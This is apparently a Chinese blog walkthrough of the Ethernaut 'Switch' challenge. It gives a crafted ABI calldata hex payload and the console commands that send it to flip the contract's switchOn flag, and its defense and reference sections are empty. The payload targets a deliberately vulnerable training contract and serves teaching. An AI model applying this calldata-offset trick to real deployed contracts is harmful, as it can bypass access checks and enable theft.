Cover photo

智能合约黑客攻击 Ethernaut: 29. Switch

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。

教程

题目

将合约中的 switchOn 改为 true

Hack思路

这道题 难度比较高,需要构建非常特殊的 CALLDATA 。

const attack = '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000'

await sendTransaction({from: player, to: contract.address, data: attack})
await contract.switchOn();

Hack案例

防范思路

参考资料

….